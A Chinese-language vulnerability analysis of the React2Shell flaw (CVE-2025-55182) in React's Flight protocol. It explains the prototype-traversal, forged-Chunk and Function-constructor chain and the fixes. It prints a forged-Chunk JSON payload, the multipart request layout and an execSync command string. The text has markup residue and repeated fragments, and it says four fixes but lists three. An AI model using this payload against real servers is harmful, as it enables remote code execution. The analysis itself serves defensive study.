CVE-2025-55182（React2Shell）漏洞代码层面原理解析<\/h1>

一、漏洞前提：先理解 React Flight 协议与 Chunk 结构<\/h2>
要理解此漏洞，必须先明确两个核心概念——Flight 协议的 Chunk 架构和 Server Actions 的工作流，这是漏洞利用的基础。<\/p>

1. Chunk 的核心代码与作用<\/h3>

Flight 协议使用 Chunk 对象封装数据，且 Chunk 继承 Promise 原型（成为 thenable 对象，可被 Promise 机制处理），代码定义如下（来自 ReactFlightReplyServer.js）：<\/p>

\/\/ Chunk的内部结构（核心属性）
<\/span><\/span><\/span><\/span>function<\/span> Chunk<\/span>(status<\/span>, value<\/span>, reason<\/span>, response<\/span>) {
<\/span><\/span>  this<\/span>.status<\/span> =<\/span> status<\/span>; \/\/ 状态：'pending'\/'resolved_model'\/'fulfilled'等
<\/span><\/span><\/span><\/span>  this<\/span>.value<\/span> =<\/span> value<\/span>;   \/\/ 实际数据（可能是JSON字符串\/Chunk引用）
<\/span><\/span><\/span><\/span>  this<\/span>.reason<\/span> =<\/span> reason<\/span>; \/\/ 错误原因或关联Chunk ID
<\/span><\/span><\/span><\/span>  this<\/span>._response<\/span> =<\/span> response<\/span>; \/\/ 关联的父Response对象（关键！后续会被伪造）
<\/span><\/span><\/span><\/span>}
<\/span><\/span>
<\/span><\/span>\/\/ 让Chunk继承Promise原型，具备.then()方法
<\/span><\/span><\/span><\/span>Chunk<\/span>.prototype<\/span> =<\/span> Object.create<\/span>(Promise.prototype<\/span>);
<\/span><\/span>Chunk<\/span>.prototype<\/span>.then<\/span> =<\/span> function<\/span>(resolve<\/span>, reject<\/span>) {
<\/span><\/span>  \/\/ 核心逻辑：根据status处理Chunk，若为'resolved_model'则调用initializeModelChunk
<\/span><\/span><\/span><\/span>  const<\/span> chunk<\/span> =<\/span> this<\/span>;
<\/span><\/span>  switch<\/span> (chunk<\/span>.status<\/span>) {
<\/span><\/span>    case<\/span> 'resolved_model'<\/span>:<\/span>
<\/span><\/span>      initializeModelChunk<\/span>(chunk<\/span>); \/\/ 漏洞2的触发点
<\/span><\/span><\/span><\/span>      break<\/span>;
<\/span><\/span>    \/\/ 其他状态处理...
<\/span><\/span><\/span><\/span>  }
<\/span><\/span>};
<\/span><\/span><\/code><\/pre>关键结论：<\/strong><\/p>

Chunk 是 Flight 协议数据传输的基本单位，所有用户输入最终会被封装成 Chunk<\/li>
Chunk.prototype.then() 是漏洞链的"启动器"，会触发后续的 initializeModelChunk（处理数据反序列化）<\/li>
<\/ul>
二、三重漏洞逐一解析（代码层面）<\/h2>
漏洞本质是 3 个独立逻辑缺陷的链式利用，需按"漏洞 1→漏洞 2→漏洞 3"的顺序触发，最终实现 RCE。<\/p>
漏洞 1：路径遍历（getOutlinedModel 函数）—— 窃取原型链函数<\/h3>
1.1 漏洞代码（ReactFlightReplyServer.js:614-615）<\/h4>
该函数负责解析 Flight 协议的"路径引用"（如 $1:user:name<\/code> 表示访问 ID 为 1 的 Chunk 的 user.name 属性），但未过滤危险属性：<\/p>
function<\/span> getOutlinedModel<\/span>(response<\/span>, reference<\/span>, parentObject<\/span>, key<\/span>, map<\/span>) {
<\/span><\/span>  const<\/span> path<\/span> =<\/span> reference<\/span>.split<\/span>(':'<\/span>); \/\/ 分割路径，如"1:__proto__:then"→["1","__proto__","then"]
<\/span><\/span><\/span><\/span>  const<\/span> id<\/span> =<\/span> parseInt(path<\/span>[0<\/span>], 16<\/span>);  \/\/ 解析Chunk ID（这里是1）
<\/span><\/span><\/span><\/span>  const<\/span> chunk<\/span> =<\/span> getChunk<\/span>(response<\/span>, id<\/span>); \/\/ 获取ID为1的Chunk
<\/span><\/span><\/span><\/span>  
<\/span><\/span>  \/\/ 若Chunk已初始化，遍历路径访问属性
<\/span><\/span><\/span><\/span>  if<\/span> (chunk<\/span>.status<\/span> ===<\/span> 'INITIALIZED'<\/span>) {
<\/span><\/span>    let<\/span> value<\/span> =<\/span> chunk<\/span>.value<\/span>; \/\/ value初始为Chunk 1的实际数据
<\/span><\/span><\/span><\/span>    \/\/ 核心漏洞：无任何过滤，直接通过方括号访问属性！
<\/span><\/span><\/span><\/span>    for<\/span> (let<\/span> i<\/span> =<\/span> 1<\/span>; i<\/span> <<\/span> path<\/span>.length<\/span>; i<\/span>++<\/span>) {
<\/span><\/span>      value<\/span> =<\/span> value<\/span>[path<\/span>[i<\/span>]]; \/\/ 允许访问__proto__\/constructor等危险属性
<\/span><\/span><\/span><\/span>    }
<\/span><\/span>    return<\/span> map<\/span>(response<\/span>, value<\/span>);
<\/span><\/span>  }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>1.2 漏洞原理与利用<\/h4>

设计意图<\/strong>：支持访问嵌套属性（如 $0:user:address:city<\/code>），但未做安全限制<\/li>
攻击利用<\/strong>：构造路径 $1:__proto__:then<\/code>，让函数窃取 Chunk.prototype.then 函数：

path = ["1", "proto<\/strong>", "then"]，chunk 1 的 value 最终指向主 Payload（伪造的 Chunk 对象）<\/li>
第一次循环：value = value["proto<\/strong>"] → 拿到 Chunk 对象的原型（Chunk.prototype）<\/li>
第二次循环：value = value["then"] → 拿到 Chunk.prototype.then 函数（真实的.then 方法）<\/li>
最终返回该函数，赋值给伪造 Chunk 的 then 属性，让伪造对象成为"合法"的 thenable（可被 Promise 处理）<\/li>
<\/ul>
<\/li>
<\/ul>
1.3 代码层面的致命问题<\/h4>

未过滤 __proto__<\/code>\/constructor<\/code>\/prototype<\/code> 等危险属性<\/li>
用 value[path[i]]<\/code> 而非 value.hasOwnProperty(path[i])<\/code>，会遍历整个原型链（不仅限于对象自身属性）<\/li>
<\/ul>
漏洞 2：假 Chunk 对象注入（Chunk.prototype.then + initializeModelChunk）—— 伪装成合法 Chunk<\/h3>
2.1 漏洞代码（两处关键逻辑）<\/h4>
（1）Chunk.prototype.then（ReactFlightReplyServer.js:127-143）<\/strong><\/p>
Chunk<\/span>.prototype<\/span>.then<\/span> =<\/span> function<\/span>(resolve<\/span>, reject<\/span>) {
<\/span><\/span>  const<\/span> chunk<\/span> =<\/span> this<\/span>; \/\/ 这里的"this"可能是攻击者伪造的对象！
<\/span><\/span><\/span><\/span>  switch<\/span> (chunk<\/span>.status<\/span>) {
<\/span><\/span>    case<\/span> 'resolved_model'<\/span>:<\/span> \/\/ 仅通过status字符串判断，无类型校验
<\/span><\/span><\/span><\/span>      initializeModelChunk<\/span>(chunk<\/span>); \/\/ 直接将伪造对象传入
<\/span><\/span><\/span><\/span>      break<\/span>;
<\/span><\/span>  }
<\/span><\/span>};
<\/span><\/span><\/code><\/pre>（2）initializeModelChunk（ReactFlightReplyServer.js:446-474）<\/strong><\/p>
function<\/span> initializeModelChunk<\/span>(chunk<\/span>) {
<\/span><\/span>  \/\/ 漏洞核心：完全信任chunk的属性，无实例校验
<\/span><\/span><\/span><\/span>  const<\/span> resolvedModel<\/span> =<\/span> chunk<\/span>.value<\/span>; \/\/ 直接读取伪造的value（内层Payload）
<\/span><\/span><\/span><\/span>  const<\/span> rawModel<\/span> =<\/span> JSON<\/span>.parse<\/span>(resolvedModel<\/span>); \/\/ 解析恶意JSON
<\/span><\/span><\/span><\/span>  const<\/span> value<\/span> =<\/span> reviveModel<\/span>(
<\/span><\/span>    chunk<\/span>._response<\/span>, \/\/ 直接使用伪造的_response对象（无验证）
<\/span><\/span><\/span><\/span>    {''<\/span>:<\/span> rawModel<\/span>},
<\/span><\/span>    rawModel<\/span>,
<\/span><\/span>    rootReference<\/span>
<\/span><\/span>  );
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>2.2 漏洞原理与利用<\/h4>
设计缺陷：<\/strong><\/p>

仅通过 status === 'resolved_model'<\/code> 判断是否为合法 Chunk，未验证 chunk 是否为 Chunk 类的实例<\/li>
直接使用 chunk._response<\/code>（伪造的 Response 对象），未检查其合法性<\/li>
<\/ul>
攻击利用：<\/strong> 构造伪造的 Chunk 对象，让 React 误判为合法 Chunk：<\/p>
\/\/ 攻击者构造的假Chunk（JSON格式，会被解析为对象）
<\/span><\/span><\/span><\/span>{
<\/span><\/span>  "then"<\/span>:<\/span> "$1:__proto__:then"<\/span>, \/\/ 漏洞1窃取的真实.then方法
<\/span><\/span><\/span><\/span>  "status"<\/span>:<\/span> "resolved_model"<\/span>,   \/\/ 伪装成已解析状态
<\/span><\/span><\/span><\/span>  "value"<\/span>:<\/span> "{\"then\":\"$B1337\"}"<\/span>, \/\/ 内层Payload（触发漏洞3）
<\/span><\/span><\/span><\/span>  "_response"<\/span>:<\/span> { \/\/ 完全伪造的Response对象
<\/span><\/span><\/span><\/span>    "_prefix"<\/span>:<\/span> "恶意代码;"<\/span>, \/\/ 后续会拼接成攻击代码
<\/span><\/span><\/span><\/span>    "_formData"<\/span>:<\/span> { "get"<\/span>:<\/span> "$1:constructor:constructor"<\/span> } \/\/ 漏洞3的关键
<\/span><\/span><\/span><\/span>  }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
伪造对象有 then 方法 → 被 Promise 机制视为 thenable<\/li>
status 为 resolved_model → 通过 switch 判断，进入 initializeModelChunk<\/li>
_response 存在 → 被当作合法 Response 使用，为漏洞 3 铺路<\/li>
<\/ul>
漏洞 3：Function 构造器替换（parseModelString 的 $B 分支）—— 触发 RCE<\/h3>
3.1 漏洞代码（ReactFlightReplyServer.js:1059-1067）<\/h4>
该分支负责解析 Flight 协议的 \(B 类型（Blob 引用，格式如 `\)<\/span>B1337），但未校验 <\/code>_formData.get` 的合法性。<\/p>
3.2 漏洞原理与利用<\/h4>
需结合漏洞 1 的路径遍历，先将 _formData.get<\/code> 替换为 Function 构造器：<\/p>


替换 get 为 Function<\/strong>：伪造 Response 的 _formData.get<\/code> 值为 $1:constructor:constructor<\/code>（路径遍历）：<\/p>

$1:constructor:constructor<\/code> → 解析为 chunk1.value.constructor.constructor<\/code><\/li>
chunk1.value 是伪造的 Chunk 对象 → 其 constructor 是 Object → Object.constructor.constructor 就是 Function（JavaScript 中，Function 是所有函数的构造器，可动态创建函数）<\/li>
<\/ul>
<\/li>

构造恶意 _prefix<\/strong>：伪造 Response 的 _prefix<\/code> 为执行系统命令的代码<\/p>
<\/li>

触发代码执行<\/strong>：当解析内层 Payload 的 $B1337<\/code> 时：<\/p>

blobKey = prefix + id<\/code> → 拼接成 "process.mainModule.require('child_process').execSync('id').toString().trim();4919"<\/code><\/li>
response._formData.get(blobKey)<\/code> → 等价于 Function("process.mainModule.require('child_process').execSync('id').toString().trim();4919")<\/code><\/li>
Function(代码)<\/code> 会创建一个匿名函数，当 Promise 机制调用该函数的 .then()<\/code> 时，代码被执行 → RCE 实现<\/li>
<\/ul>
<\/li>
<\/ol>
3.3 代码层面的致命问题<\/h4>

未校验 response._formData<\/code> 是否为真实的 FormData 实例<\/li>
未校验 formData.get<\/code> 是否为原生方法（允许被替换为 Function）<\/li>
<\/ul>
三、完整攻击链代码流程（从请求到 RCE）<\/h2>
结合上述三个漏洞，攻击者构造的请求会按以下代码路径触发 RCE，关键步骤已标注对应漏洞：<\/p>


请求发送<\/strong>：前端发送 POST \/page<\/code> 请求，Content-Type: multipart\/form-data<\/code>，FormData 包含 3 个字段：<\/p>

field 0：主 Payload（伪造的 Chunk 对象，含 then\/status\/_response）<\/li>
field 1："$@0"<\/code>（Promise 引用，指向 field 0，形成循环引用）<\/li>
field 2：[]<\/code>（空数组，满足 Response 的 _chunks 属性要求）<\/li>
<\/ul>
<\/li>

服务端处理<\/strong>：<\/p>

漏洞 1 触发<\/strong>：rootChunk.then()<\/code> 调用 parseModelString<\/code> 解析 "then": "$1:__proto__:then"<\/code>，通过 getOutlinedModel<\/code> 窃取 Chunk.prototype.then<\/code>，赋值给伪造 Chunk 的 then 属性<\/li>
漏洞 2 触发<\/strong>：Promise 机制处理伪造 Chunk，调用 initializeModelChunk<\/code>，使用伪造的 _response<\/code> 对象，解析内层 Payload "then": "$B1337"<\/code><\/li>
漏洞 3 触发<\/strong>：解析 $B1337<\/code> 时，调用被替换为 Function 的 _formData.get<\/code>，创建恶意函数，最终通过 .then()<\/code> 调用执行系统命令 → RCE<\/li>
<\/ul>
<\/li>
<\/ol>
四、关键修复代码对比（理解防御逻辑）<\/h2>
React 官方通过 4 处修复彻底封堵漏洞，对比修复前后的代码，能更清晰理解漏洞根源：<\/p>
1. 漏洞 1 修复：属性白名单（getOutlinedModel）<\/h3>
添加属性访问白名单，禁止访问危险原型属性。<\/p>
2. 漏洞 2 修复：Chunk\/Response 实例校验（initializeModelChunk）<\/h3>
增加实例类型检查，确保传入的对象是合法的 Chunk 实例。<\/p>
3. 漏洞 3 修复：FormData 合法性校验（parseModelString 的 $B 分支）<\/h3>
校验 response._formData<\/code> 是否为真实的 FormData 实例，防止方法被替换。<\/p>
总结：<\/strong> CVE-2025-55182 是一个典型的原型污染+对象伪造漏洞链，通过精心构造的恶意数据，利用 React Flight 协议的安全缺陷，最终实现远程代码执行。理解此漏洞有助于深入认识 JavaScript 原型链安全、Promise 机制安全以及现代前端框架的安全设计原则。<\/p>

CVE-2025-55182（React2Shell）漏洞代码层面原理解析<\/h1>

一、漏洞前提：先理解 React Flight 协议与 Chunk 结构<\/h2> 要理解此漏洞，必须先明确两个核心概念——Flight 协议的 Chunk 架构和 Server Actions 的工作流，这是漏洞利用的基础。<\/p>

二、三重漏洞逐一解析（代码层面）<\/h2> 漏洞本质是 3 个独立逻辑缺陷的链式利用，需按"漏洞 1→漏洞 2→漏洞 3"的顺序触发，最终实现 RCE。<\/p>

漏洞 1：路径遍历（getOutlinedModel 函数）—— 窃取原型链函数<\/h3>

漏洞 2：假 Chunk 对象注入（Chunk.prototype.then + initializeModelChunk）—— 伪装成合法 Chunk<\/h3>

漏洞 3：Function 构造器替换（parseModelString 的 $B 分支）—— 触发 RCE<\/h3>

3.1 漏洞代码（ReactFlightReplyServer.js:1059-1067）<\/h4> 该分支负责解析 Flight 协议的 \(B 类型（Blob 引用，格式如 `\)<\/span>B1337），但未校验 <\/code>_formData.get` 的合法性。<\/p>

四、关键修复代码对比（理解防御逻辑）<\/h2> React 官方通过 4 处修复彻底封堵漏洞，对比修复前后的代码，能更清晰理解漏洞根源：<\/p>

1. 漏洞 1 修复：属性白名单（getOutlinedModel）<\/h3> 添加属性访问白名单，禁止访问危险原型属性。<\/p>

2. 漏洞 2 修复：Chunk\/Response 实例校验（initializeModelChunk）<\/h3> 增加实例类型检查，确保传入的对象是合法的 Chunk 实例。<\/p>

一、漏洞前提：先理解 React Flight 协议与 Chunk 结构<\/h2>
要理解此漏洞，必须先明确两个核心概念——Flight 协议的 Chunk 架构和 Server Actions 的工作流，这是漏洞利用的基础。<\/p>

二、三重漏洞逐一解析（代码层面）<\/h2>
漏洞本质是 3 个独立逻辑缺陷的链式利用，需按"漏洞 1→漏洞 2→漏洞 3"的顺序触发，最终实现 RCE。<\/p>

3.1 漏洞代码（ReactFlightReplyServer.js:1059-1067）<\/h4>
该分支负责解析 Flight 协议的 \(B 类型（Blob 引用，格式如 `\)<\/span>B1337），但未校验 <\/code>_formData.get` 的合法性。<\/p>

四、关键修复代码对比（理解防御逻辑）<\/h2>
React 官方通过 4 处修复彻底封堵漏洞，对比修复前后的代码，能更清晰理解漏洞根源：<\/p>

1. 漏洞 1 修复：属性白名单（getOutlinedModel）<\/h3>
添加属性访问白名单，禁止访问危险原型属性。<\/p>

2. 漏洞 2 修复：Chunk\/Response 实例校验（initializeModelChunk）<\/h3>
增加实例类型检查，确保传入的对象是合法的 Chunk 实例。<\/p>